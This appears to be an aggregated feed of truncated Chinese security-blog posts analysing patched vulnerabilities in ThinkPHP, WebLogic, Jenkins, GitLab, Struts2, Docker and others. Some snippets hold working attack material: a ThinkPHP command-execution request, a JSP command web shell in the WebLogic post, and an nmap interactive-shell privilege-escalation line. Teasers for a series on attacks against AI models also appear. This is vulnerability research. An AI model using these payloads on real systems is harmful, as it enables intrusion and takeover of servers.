当前节点:rss
时间节点
2020年7月13日 23:29Chybeta
Twitter: chybeta

Security Advisory
https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html
Analysis
According to the document , there are three parameters that you can set to control the content or format of the macro output, including URL、Width and Height.
the Widget Connector has defind some renders. for example the FriendFeedRenderer:

1
2
3
4
5
6
7
8
9
public class FriendFeedRenderer implements WidgetRenderer
{
...
public String getEmbeddedHtml(String url, Map<String, String> params) {
params.put("_template", "com/atlassian/confluence/extra/widgetconnector/templates/simplejscript.vm");
return this.velocityRenderService.render(getEmbedUrl(url), params);
}
}
In FriendFeedRenderer‘s getEmbeddedHtml function , you will see they put another option _template into params map.
However, some other renderers, such as in video category , just call render(getEmbedUrl(url), params) directly

So in this situation, we can "offer" the _template ourseleves which the backend will use th
2020年7月13日 23:29Chybeta
Chinese Edition: Ruby on Rails 路径穿越与任意文件读取漏洞分析 - 【CVE-2019-5418】

Security Advisory
https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
Analysis
The render method can use a view that’s entirely outside of your application. So in actionview-5.2.1/lib/action_view/renderer/template_renderer.rb:22, it will call find_file to determine which template to be rendered。

1
2
3
4
5
6
7
8
9
10
11
12
module ActionView
class TemplateRenderer < AbstractRenderer #:nodoc:
# Determine the template to be rendered using the given options.
def determine_template(options)
keys = options.has_key?(:locals) ? options[:locals].keys : []
if options.key?(:body)
...
elsif options.key?(:file)
with_fallbacks { find_file(options[:file], nil, false, keys, @details) }
...
end
end
In the find_file method:

1
2
3
def find_file(name, prefixes = [], partial = false, keys = [], options = {})
@view_paths.find_file(*args_for_lookup(name, prefixes, partial, keys, options))
end
step into args_for_lookup method which to generate th
2020年7月13日 23:29Chybeta
中文版本:chinese edition

Summary
https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019
Affected Versions: Nexus Repository Manager 3.6.2 OSS/Pro versions up to and including 3.14.0
Fixed in Version: Nexus Repository Manager OSS/Pro version 3.15.0
Nice find from Rico @ Tencent Security Yunding Lab and voidfyoo @ Chaitin Tech
Analysis
In plugins/nexus-coreui-plugin/src/main/java/org/sonatype/nexus/coreui/ComponentComponent.groovy:185

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
@Named
@Singleton
@DirectAction(action = 'coreui_Component')
class ComponentComponent
extends DirectComponentSupport
{
...
@DirectMethod
@Timed
@ExceptionMetered
PagedResponse<AssetXO> previewAssets(final StoreLoadParameters parameters) {
String repositoryName = parameters.getFilter('repositoryName')
String expression = parameter
2020年7月13日 23:29Chybeta
2019年1月11日,ThinkPHP官方发布安全更新,修复了一个GETSHELL漏洞。现分析如下。
漏洞复现
以 thinkphp 5.0.22 完整版为例,下载地址:http://www.thinkphp.cn/down/1260.html
未开启调试模式。
1
2
3
4
5
http://127.0.0.1/thinkphp/thinkphp_5.0.22_with_extend/public/index.php?s=captcha
POST:
_method=__construct&filter[]=system&method=get&get[]=whoami
漏洞分析之POC 1
先整体的看一下这个流程,tp程序从 App.php文件开始,其中截取部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**
* 执行应用程序
* @access public
* @param Request $request 请求对象
* @return Response
* @throws Exception
*/
public static function run(Request $request = null)
{
$request = is_null($request) ? Request::instance() : $request;
try {
...
// 获取应用调度信息
$dispatch = self::$dispatch;
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
...
$data = self::exec($dispatch, $config);
} catch (HttpResponseException $exception) {
...
}
...
}
在App.php中,会根据请求的URL调用routeCheck进行调度解析获得到$dispatch,之后将进入exec($dispatch, $config)根据$dispatch类型的不同来进行处理。
在payload中,访问的url为index.php?s=captcha
2020年7月13日 23:29Chybeta
WAScan源码阅读
项目地址:https://github.com/m4ll0k/WAScan.git

README
python2.7
整体功能
指纹识别
cms系统 6
web框架 22
cookeis/headers安全
开发语言 9
操作系统 7
服务器 all
防火墙 50+
攻击
Bash 命令注入
SQL盲注
溢出
CRLF
头部SQL注入
头部XSS
HTML注入
LDAP注入
本地文件包含
执行操作系统命令
php 代码注入
SQL注入
服务器端注入
Xpath注入
XSS
XML注入
检查
Apache状态检测
开放跳转
phpinfo
robots.txt
xst
暴力攻击
admin面板
后门
备份目录
备份文件
常规目录
常规文件
隐藏参数
信息搜集
信用卡信息
邮箱
私有ip
错误信息
ssn
整体结构
类型
名
作用
dir
lib
扩展,攻击用到的一些字典等等
dir
plugin
主要攻击脚本
dir
screen
一些截图
file
.gitignore
略
file
LICENSE
许可证
file
README.md
介绍
file
wascan.py
主入口文件
所有文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
15
2020年7月13日 23:29Chybeta
phpcms 2008 type.php 前台代码注入getshell漏洞分析
tpye.php中:

1
2
3
4
5
6
7
8
<?php
require dirname(__FILE__).'/include/common.inc.php';
...
if(empty($template)) $template = 'type';
...
include template('phpcms', $template);
...
?>
先看一下require进来的include/common.inc.php,在这个文件第58行中存在如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if($_REQUEST)
{
if(MAGIC_QUOTES_GPC)
{
$_REQUEST = new_stripslashes($_REQUEST);
if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
extract($db->escape($_REQUEST), EXTR_SKIP);
}
else
{
$_POST = $db->escape($_POST);
$_GET = $db->escape($_GET);
$_COOKIE = $db->escape($_COOKIE);
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_COOKIE,EXTR_SKIP);
}
if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
if($_COOKIE) $db->escape($_COOKIE);
}
上面这段代码会通过@extract()将尚未注册的变量进行注册,如果有冲突,不覆盖已有的变量。因此通过这个伪全局可以绕过if(empty($template)) $template = 'type';这句话的指定,即$template变量可控。
跟入template函数,定义在 include/global.func.php:772

1
2
3
4
5
6
7
8
9
10
11
function template($mod
2020年7月13日 23:29Chybeta
2018年10月12日,Discuz官方修复了一处XSS漏洞:

简要分析
source/module/misc/misc_ranklist.php:166

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function getranklist_members($offset = 0, $limit = 20) {
require_once libfile('function/forum');
$members = array();
$topusers = C::t('home_show')->fetch_all_by_unitprice($offset, $limit, true);
foreach($topusers as $member) {
$member['avatar'] = avatar($member['uid'], 'small');
$member['note'] = dhtmlspecialchars($member['note']);
$members[] = $member;
}
return $members;
}
Dz在此处获取到$member['note']后调用了dhtmlspecialchars进行过滤,在source/function/function_core.php:203 会对’&’, ‘“‘, ‘<’, ‘>’进行实体编码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function dhtmlspecialchars($string, $flags = null) {
if(is_array($string)) {
。。。
} else {
if($flags === null) {
$string = str_replace(array('&', '"', '<', '>'), array('&amp;', '&quot;', '&lt;', '&gt;'), $string);
} else {
。。。
}
return $string;
}
从getranklist_members返回后 source/include/misc/misc_ranklist_index.php:113

1
2
3
4
5
6
7
<?php
。。。
if($ranklist_setting['member'
2020年7月13日 23:29Chybeta
Requests v0.2.0 源码阅读
v0.2.0
1
git clone https://github.com/requests/requests
从 https://github.com/requests/requests/releases?after=v0.3.0 知道 v0.2.0 发布时的 commit为 https://github.com/requests/requests/commit/d2427ecae751a533ddd9026849dd19cfaa3394f4 。检出。
项目结构
name
usage
docs
保存文档
requests
保存源代码
.gitignore
略
HISTORY.rst
历史
LICENSE
协议
README.rst
readme
setup.py
安装
test_requests.py
测试
test_requests.py
定义如上方法,用于进行功能测试。
requests
主要关注 core.py
UML图:

Structure:

主要实现四种类:请求基类_Request、请求类Request、响应类Response、认证AuthObject,七种方法:get、post、put、delete和认证相关的方法,四种异常类。
_Request 类
对urllib2.Request对象 的封装,允许对请求方法进行s手动设置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class _Request(urllib2.Request):
"""Hidden wrapper around the urllib2.Request object. Allows for manual
setting of HTTP methods.
"""
def __init__(self, url,
data=None, headers={}, origin_req_host=None,
unverifiable=False, method=None):
urllib2.Request.__init__( self, url, data, headers, origin_req_host,
unverifiable)
# 设置请求方法
self.method = method
# 获取请求方法
def get_method
2020年7月13日 23:29Chybeta
pip-pop源码阅读
项目地址
https://github.com/heroku-python/pip-pop
按照commit记录来阅读。
lawyer up
commit记录: a84bc7439770063e457760a18119c10e5d802d3e
添加了LICENSE文件,采用MIT License
dummy dir
commit记录: 636935f9394165c1d55c0e0d878cea60428a434e
创建了 pip_pop文件夹,在其中创建空文件__init__.py。 此时项目结构如下:

1
2
3
4
5
6
.
├── LICENSE
└── pip_pop
└── __init__.py
1 directory, 2 files
READ IT
commit记录: ebdda7f8897403e9b77a2fa7023b2f4f8df1ecaa
项目结构如下:

1
2
3
4
5
6
├── LICENSE
├── README.rst
└── pip_pop
└── __init__.py
1 directory, 3 files
增加了README.rst文件。用于说明该项目的用处,计划中实现的功能,未来可能实现的功能。

1
2
3
4
5
6
7
8
pip-pop: tools for managing requirements files
==============================================
Planned Commands
----------------
Possible Future Commands
------------------------
docopt
commit记录: f0e51cc56f55c4615e29b7a12264b20dbe12db66
项目结构如下:

1
2
3
4
5
6
7
8
.
├── LICENSE
├── README.rst
├── pip_pop
│ └── __init__.py
└── requirements.txt
1 directory, 4 files
增加了requirements.txt文件。
note about blacklisting plans
commit记录: bf54913eaa70f9f505c414a7be328ff1504
2020年7月13日 23:29Chybeta
Destoon 20180827版本 前台getshell

前言
2018年9月21日,Destoon官方发布安全更新,修复了由用户“索马里的海贼”反馈的一个漏洞。
漏洞分析
根据更新消息可知漏洞发生在头像上传处。Destoon中处理头像上传的是 module/member/avatar.inc.php 文件。在会员中心处上传头像时抓包,部分内容如下:
对应着avatar.inc.php代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
defined('IN_DESTOON') or exit('Access Denied');
login();
require DT_ROOT.'/module/'.$module.'/common.inc.php';
require DT_ROOT.'/include/post.func.php';
$avatar = useravatar($_userid, 'large', 0, 2);
switch($action) {
case 'upload':
if(!$_FILES['file']['size']) {
if($DT_PC) dheader('?action=html&reload='.$DT_TIME);
exit('{"error":1,"message":"Error FILE"}');
}
require DT_ROOT.'/include/upload.class.php';
$ext = file_ext($_FILES['file']['name']);
$name = 'avatar'.$_userid.'.'.$ext;
$file = DT_ROOT.'/file/temp/'.$name;
if(is_file($file)) file_del($file);
$upload = new upload($_FILES, 'file/temp/', $name, 'jpg|jpeg|gif|png');
$upload->adduserid = false;
if($upload->save()) {
...
} else {
...
}
break;
这里通过$_FILES['file']依次获取了上传文件扩展
2020年7月13日 23:29Chybeta
GitLab远程代码执行漏洞分析 -【CVE-2018-14364】
漏洞公告
2018年7月17日,Gitlab官方发布安全更新版本,修复了一个远程命令执行漏洞,CVE ID为CVE-2018-14364,该漏洞由长亭研究人员发现,并在hackerone平台提交
影响版本:>= 8.9.0
修复版本:11.0.4, 10.8.6, and 10.7.7
漏洞分析
以版本11.0.3为例。根据版本源码对比
从CHANGELOG.md中得知为Fix symlink vulnerability in project import
主要修改的代码文件为lib/gitlab/import_export/file_importer.rb
主要关注一下extracted_files。
当我们import一个项目时,会进入到file_import.rb。然后调用第17行的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def import
mkdir_p(@shared.export_path)
remove_symlinks!
wait_for_archived_file do
decompress_archive
end
rescue => e
@shared.error(e)
false
ensure
remove_symlinks!
end
remove_symlinks用于删除导入文件中存在的符号链接。此前gitlab就因为符号链接的问题爆出过多个RCE问题,因此在这里做了检查:

1
2
3
4
5
6
7
def remove_symlinks!
extracted_files.each do |path|
FileUtils.rm(path) if File.lstat(path).symlink?
end
true
end
而extracted_files定义在61行,这个方法用于列出解压出来的所有文件。

1
2
3
def extracted_files
Dir.glob("#{@shared.export_path}/**/*", File::FNM_DOTMATCH).reject { |f| f =~ %r{.*/\.{1,2}$} }
end
在ruby中,关于正则表达式的符号定义如下:
也就是说%r{.*/\.{1,2}$}这个正则表达式最后的$只能匹配到一行的末尾(Ma
2020年7月13日 23:29Chybeta
【Struts2-代码执行漏洞分析系列】S2-057
漏洞公告
https://cwiki.apache.org/confluence/display/WW/S2-057
问题:
It is possible to perform a RCE attack when namespace value isn’t set for a result defined in underlying xml configurations and in same time, its upper action(s) configurations have no or wildcard namespace. Same possibility when using url tag which doesn’t have value and action set and in same time, its upper action(s) configurations have no or wildcard namespace.
漏洞发现者的博客: https://lgtm.com/blog/apache_struts_CVE-2018-11776
环境搭建
下载 https://archive.apache.org/dist/struts/2.5.16/struts-2.5.16-all.zip
IDEA中打开,修改apps/showcase/src/main/resources/struts-actionchaining.xml 为:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.5//EN"
"http://struts.apache.org/dtds/struts-2.5.dtd">
<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction"
2020年7月13日 23:29Chybeta
Ruby on Rails 路径穿越与任意文件读取漏洞分析 -【CVE-2018-3760】

漏洞公告
该漏洞由安全研究人员 Orange Tsai发现。漏洞公告来自 https://groups.google.com/forum/#!topic/rubyonrails-security/ft_J--l55fM

1
2
3
4
5
6
7
8
9
10
11
12
13
14
There is an information leak vulnerability in Sprockets. This vulnerability
has been assigned the CVE identifier CVE-2018-3760.
Versions Affected: 4.0.0.beta7 and lower, 3.7.1 and lower, 2.12.4 and lower.
Not affected: NONE
Fixed Versions: 4.0.0.beta8, 3.7.2, 2.12.5
Impact
------
Specially crafted requests can be used to access files that exists on
the filesystem that is outside an application's root directory, when the Sprockets server is
used in production.
All users running an affected release should either upgrade or use one of the work arounds immediately.
影响面: development servers,且开启了 config.assets.compile
漏洞复现
本地安装好ruby和rails。以ruby 2.4.4 ,rails v5.0.7为例:

1
2
$ gem install rails -v 5.0.7
$ rails new blog && cd blog
此时blog这个rails项目使用的sprockets版本是3.7.2(fixed)。修改blog目录下的Gemfile.lock第122行:

1
sprockets (3.7.1)
修改配置文件 
2020年7月13日 23:29Chybeta
OpenTSDB远程命令执行漏洞分析 -【CVE-2018-12972】

相关背景
Opentsdb是基于Hbase的分布式的,可伸缩的时间序列数据库。官方提供了一个web界面来提供对查询数据进行可视化分析,其背后的绘图由Gnuplot支持。其Github地址为: https://github.com/OpenTSDB/opentsdb 。在某些版本(比如2.3.0,以下分析以2.3.0版本为例)中,其提供的Web接口存在远程命令执行漏洞,一旦利用成功将以root权限执行。分析见下。
漏洞分析
在opentsdb中,默认情况下tsd.core.enable_ui开启,允许通过http来进行rpc调用。当访问时/q?xx=xxx时,对应的rpc接口即GraphHandler。见 src/tsd/RpcManager.java:297:

1
2
3
4
5
6
7
8
9
10
private void initializeBuiltinRpcs(final String mode,
final ImmutableMap.Builder<String, TelnetRpc> telnet,
final ImmutableMap.Builder<String, HttpRpc> http) {
...
if (enableUi) {
...
http.put("q", new GraphHandler());
...
}
...
在 src/tsd/GraphHandler.java:108 execute中

1
2
3
4
5
6
7
8
9
10
public void execute(final TSDB tsdb, final HttpQuery query) {
...
try {
doGraph(tsdb, query);
} catch (IOException e) {
query.internalError(e);
} catch (IllegalArgumentException e) {
query.badRequest(e.getMessage());
}
}
跟入 doGraph
其中接受参数在
src/tsd/GraphHandler.java:198 doGraph 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
2
2020年7月13日 23:29Chybeta
Jenkins 任意文件读取漏洞复现与分析 - 【CVE-2018-1999002】

SECURITY-914 / CVE-2018-1999002
1
2
3
An arbitrary file read vulnerability in the Stapler web framework used by Jenkins allowed unauthenticated users to send crafted HTTP requests returning the contents of any file on the Jenkins master file system that the Jenkins master process has access to.
Input validation in Stapler has been improved to prevent this.
漏洞影响版本:

1
2
Jenkins weekly up to and including 2.132
Jenkins LTS up to and including 2.121.1
漏洞复现
测试环境: win平台
通过查找commit记录可知需要将其检出至 29ca81dd59c255ad633f1bd86cf1be40a5f02c64之前

1
2
> git clone https://github.com/jenkinsci/jenkins.git
> git checkout 40250f08aca7f3f8816f21870ee23463a52ef2f2
检查core/pom.xml的第41行,确保版本为1.250

1
2
<staplerFork>true</staplerFork>
<stapler.version>1.250</stapler.version>
然后命令行下编译war包

1
mvn clean install -pl war -am -DskipTests
在jenkins\war\target目录下获得编译好的jenkins.war,同目录下启动:

1
java -jar jenkins.war
在管理员登陆(有cookie)的情况下
在没有登陆(未授权,cookie清空)的情况下,只有当管理员开启了allow anonymous read access的时候,才能实现任意文
2020年7月13日 23:29Chybeta
WebLogic任意文件上传漏洞复现与分析 -【CVE-2018-2894 】

CVE-2018-2894
漏洞影响版本:10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
下载地址:http://download.oracle.com/otn/nt/middleware/12c/12213/fmw_12.2.1.3.0_wls_quick_Disk1_1of1.zip
漏洞复现
服务启动后,访问 http://localhost:7001/ws_utc/config.do
可以将当前的工作目录为更改为其他目录。以本地环境为例,可以部署到C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls\4mcj4y\war下
选择右边的安全栏目,添加JKS Keystores上传文件。假设chybeta.jsp内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataI
2020年7月13日 23:29薇拉航线
本文是《AI与安全》系列文章的第7篇。如今,机器学习已演化为了一种服务模式,即机器学习即服务(Machine learning as a service)。互联网公司通过模型调用接口来满足用户对...
2020年7月13日 23:29薇拉航线
本文是《AI与安全》系列文章的第6篇。在前文中,我们介绍了Attack AI的基础概念,即黑客对AI发起的攻击,主要可以分为三种攻击类型,破坏模型完整性、可用性和机密性的攻击。在本文,我们将介绍...
2020年7月13日 23:29薇拉航线
前言本文首发于安全客,转载请注明作者与出处。本文是《AI与安全》系列文章的第三篇。在前文中,我们介绍了Attack AI的基础概念,即黑客对AI发起的攻击,主要可以分为三种攻击类型,破坏模型完整...
2020年7月13日 23:29薇拉航线
因为一点小变动,意外地空出了这个夜晚。于是决定趁着阿里日把2020年上半年的总结给搞定。今天是我入职阿里的第252天,算上实习期的283天,也算是在阿里度过了一年半的时光。入职以来,参加了一次入...
2020年7月13日 23:29薇拉航线
小说的骨相知乎最近老是推给我这个问题“在评价科幻小说时,是「科幻性」更重要还是「小说/文学性」更重要?” 我相信每个科幻作家在创作的都想过这个问题, 对于我而言,我的选择是后者。我在 vol.1...
2020年7月13日 23:29薇拉航线
在提笔写今年的年终总结之前,我已经收到了好多催更提醒。是的,今年的年度总结来得要格外晚一些。一方面是因为工作确实很忙,另一方面因为19年发生了很多对我影响很大的事,所以我仍然处在思考消化的阶段。...
2020年7月13日 23:29薇拉航线
欢迎大家在评论区补充~------2020.05.13更新-----RankingCS Ranking-Computer Security学校ranking和教授信息Computer Secur...
2020年7月13日 23:29薇拉航线
腾讯云上的学生优惠过期了,再加上各种让人不爽的小原因(安全性, 服务态度, 服务器性能等等),打算把博客从腾讯云迁移到阿里云。P.S. 建议至少在腾讯云服务器过期前10天开始着手做迁移的准备工作...
2020年7月13日 23:29薇拉航线
前言本文首发于安全客,转载请注明出处。本文是《AI与安全》系列文章的第三篇。在前文中,我们介绍了Attack AI的基础概念,即黑客对AI发起的攻击,主要可以分为三种攻击类型,破坏模型完整性、可...
2020年7月13日 23:29薇拉航线
本文首发于安全客,转载请注明出处。本文是《AI与安全》系列文章的第二篇。在第一篇文章里我们介绍了Misuse AI(误用AI),即黑客使用AI来发起攻击。那么在这一篇文章里,我们主要介绍一下At...
2020年7月13日 18:33PHITHON BLOG
这是一篇发表在『代码审计』公众号的杂文,关注我的公众号:white-hat-note,查看更多类似文章。

最近在本地调试上传的文件,我发现了一个非常不好的”特征“,大家猜猜是什么:

是的,临时文件居然被放在了Windows系统目录下,对于有轻微”洁癖“的我来说是不可以接受的,我想知道这是什么原因。
首先,我本地的PHP环境是这样的:

Windows 10
PHPStudy 8.1 集成环境
2020年7月13日 18:33PHITHON BLOG
2017年我在代码审计知识星球里曾经发过一个经典的配置文件漏洞模型:
当时大家真是脑洞大开,想出了很多解决方法。刚好今天看到奇安信发表的一篇文章《这是一篇“不一样”的真实渗透测试案例分析文章》提到一个Discuz后台getshell漏洞,也涉及了相关知识,我们来总结一下吧。
关于本文中所有解决方法的提出者(用知识星球内的昵称)和参考链接,我会附在文章最后。
0x01 基础版
特点:正则贪婪模式、
2020年7月13日 18:33PHITHON BLOG
前几天我在代码审计知识星球里发表了一个介绍nmap利用interactive模式提权的帖子:
# 进入nmap的交互模式 nmap --interactive # 执行sh,提权成功 !sh
但具体实施的时候会遇到很多有趣的问题,我们来详细研究一下。
suid提权
说到这个话题,我们不得不先介绍一下两个东西:
suid提权是什么
nmap为什么可以使用suid提权
通常来说,Linux运
2020年7月13日 18:33PHITHON BLOG
2020过去了近一个月,今年过年不回家了,虽然和疫情没关系,但是正好可以借此机会躲避一下。呆在北京也没啥别的事,想想去年一年都做了些什么。
XRay
去年一年忙的最多的当然是工作,去年应该说大部分的时间都在做XRay吧。最初做XRay的想法只是想把洞鉴里的一些有趣的功能拿出来自己用,能闲来无事时挖挖SRC,为此我最初用Mitmproxy写了一个简单的Demo,并用这个Demo挖到过一些漏洞:

架
2020年7月13日 18:33PHITHON BLOG
今天看到了某家厂商的Webshell检测引擎,实测效果还可以,确实把PHP Webshell检测这个难题实质上地推进了一步。
我在八月的KCon中发布了一个议题《PHP动态特性的捕捉与逃逸》,一直拖着没时间写文章,结果可能大部分人没有读过,错过了一些有趣的case,所以借此机会,补发一篇文章,看看这些case你有没有考虑到。
0x01 什么是PHP动态特性
PHPChip是我开源的一款“PHP动态
2020年7月13日 18:33PHITHON BLOG
在上周六的攻必克,守必固——xray第二期线下技术沙龙上,我分享了一下我们xray开发团队做扫描器的想法和过程,包括一些解决的问题。
预览PPT:
[speakerdeck]2c1a7fa6a89845e7a0fe6f08f638777e|1.77777777777778[/speakerdeck]
PPT直接下载:XRay旅行记 - 从内部项目到社区项目的蜕变
想参与我们xray的开发,包括研究
2020年7月13日 18:33PHITHON BLOG
2020年7月13日 18:33PHITHON BLOG
类似我一贯的做法,这次Real World CTF我出了一道实战性的题目,目标仍然是getshell。
我们以渗透测试的步骤来审视这道题目。
0x01 信息搜集
与我以往的题目不同的是,这次虽然我自己写了一部分代码,但是这部分代码的目的是串联起几个服务,整个流程与代码漏洞无关,所以没有给出源代码。
目标是一个简单的web,描述是“Use crawlbox to get all links from
2020年7月13日 18:33PHITHON BLOG
作为铁杆Django用户,发现昨天Django进行了更新,且修复了一个SQL注入漏洞。在我印象里这应该是Django第一个SQL注入漏洞,且的确是可能在业务里出现的漏洞,于是进行了分析。
0x01 什么是JSONField
Django是一个大而全的Web框架,其支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但与Django天生为一对儿的数据库莫过于Po
2020年7月13日 18:33PHITHON BLOG
前段时间写的文章,在微博上说HW结束分享一下,总算可以发了。感谢 @voidfyoo 提出的这个问题。
今天遇到一个代码,大致如下:
&lt;?php
$filename = $_FILES[&#39;image&#39;][&#39;tmp_name&#39;];
$size = getimagesize($filename);
if ($size &amp;&amp; $size[0] &gt
2020年7月12日 23:17关注的论坛
今年五一的时候终于将这个想法做成了一个网站。 有关网络安全的资讯获取渠道很多,论坛,新闻,微博,推特,rss订阅大牛的博客,各种技术paper平台,有时候也想关注一下cve和cnvd自己感兴趣的内容,每天可能要从不同的网站获取这些信息。 久而久之可能会产生信息焦虑,一天啥都没有做,就刷这些网站了。hacking8整合了这些资讯,只用访问i.hacking8.com,就能获取到有关安全的最新资讯,使用它能大大缓解这种焦虑。 我对i.hacking8的定义是提供给安全人员的信息流,有了它就能知道国内外安全圈所发生的各种事情了。 列举一些目前比较有特点的功能,如对于小圈子论坛最新信息的展示 阅读全文&gt;&gt;
2020年7月11日 18:03Swing'Blog 浮生若梦
学习了一下这 ripper 20的两个洞
CVE-2020-11896
IPv4 分片
IP分片使得即使在IP分组的大小大于网络的特定链路中允许的最大大小的情况下,也可以在网络中发送IP分组。IP分段是一种将分组分成几个较小部分(“片段”)以支持在这些链路和网络上传输的技术。该协议支持TH分组的分段然后重组。
使用IP报头中的标识字段将不同的片段分组。该标识字段描述片段属于哪个分组。这允许不同的数据包在网络中分段传输,并在另一端正确重组。最后一个片段的MF(更多片段)位标志设置为0,而所有其他片段的MF=1。
网络堆栈负责对大型数据包进行分段,并通过网络发送多个分段。请求发送大型数据报的UDP应用程序就是一个例子。网络堆栈还负责在接收到分段的数据包时对其进行重组。
如果只有部分数据包碎片到达,网络堆栈最终会丢弃这些碎片。在大多数实现中,当处理任何片段时,网络堆栈启动计时器。当该计时器到期时,网络堆栈丢弃属于同一标识组的所有片段。
IPv4通过Flags及Fragment Offset字段对分片进行管理,Flags由R、DF、MF三部分组成:
● R(Reserve bit)保留未用
● DF (Don’t Fragment) DF =1:禁止分片 , DF =0:允许分片
● MF (More Fragment) MF =1:非最后一片, MF =0:最后一片(或未分片)
Fragment Offset(13位):一个IP分组分片封装原IP分组数据的相对偏移量, 片偏移字段以8字节为单位。IP包结构如下图所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-
2020年7月11日 18:02Swing'Blog 浮生若梦
https://github.com/moby/moby/pull/39612
github issue:
Initialize nss libraries in Glibc so that the dynamic libraries are loaded in the host environment not in the chroot from untrusted files.
CVE-2019-14271 may allow unprivileged access to host system while copying files from a malicious container image with docker cp command.
Affected versions: v19.03.0. Older Docker versions are not affected by this issue.
This fix is included in the already released Docker v19.03.1. Users of Docker v19.03.0 are advised to upgrade.
The patch was previously reviewed internally by maintainers under GitHub security advisory.If you find security issues in Moby, please follow responsible disclosure guidelines by sending an email to security@docker.com.
yum list docker-ce –showduplicates|sort –r
前言
这两天和 @explorer 一起看了下这个洞,以及好久没更博客了,随手写个文章记录下:
漏洞分析
漏洞成因是由于,docker cp 进行拷贝的时候,将 docker-tar 此进程先 chroot 到容器内,然而此时使用的 so 文件也是容器内的,而 docker-tar 进程本身没有容器化,意味着仍然拥有高权限,所以此时如果容器内的 so 被恶意篡改,那么可能造成 docker 容器逃逸
1

docker cp cve-2019-14271:/lib ./
2020年7月11日 18:02Swing'Blog 浮生若梦
CVE-2020-0796 SMBv3 漏洞分析3月13日 凌晨左右 ,微软放了这个漏洞的补丁…所以稍微分析一下他的补丁Bindiff通过 bindiff 比较发现一个函数,且名字也蛮可疑的..这个函数名叫 Srv2DecompressData 实际上和漏洞描述其实也差不多..似乎是加了检查..我们 打开IDA来比对一下 两者的差别..补丁左边是有漏洞的版本,右边是 Patch 后的版本 .. 比对了一下发现似乎增加了一个检查..尤其是增加的一个叫RtlULongAdd 的函数..1RtlULongAdd(ULONG ulAugend, ULONG ulAddend, ULONG *pulResult)该函数的参数是 两个似乎 recve 的数据 以及一个变量..1234567891011121314NTSTATUS __stdcall RtlULongAdd(ULONG ulAugend, ULONG ulAddend, ULONG *pulResult)&#123;  ULONG v3; // eax  ULONG v4; // edx  NTSTATUS result; // eax  v3 = ulAugend + ulAddend;  v4 = -1;  if ( v3 &gt;= ulAugend )    v4 = v3;  result = v3 &lt; ulAugend ? 0xC0000095 : 0;  *pulResult = v4;  return result;&#125;看了一下这个  判断了  ulAugend + ulAddend 相加后的和是否小于其中一个 加数..如果是则将其中一个赋值给返回值..从这里大概能初步判断是个什么漏洞了..基本能猜测是个  整型溢出..漏洞我们来看一下未打补丁的版本…看了一下..这里是将原本个值直接相加,并没有进行checkl… 然后分配内存..如果有问题 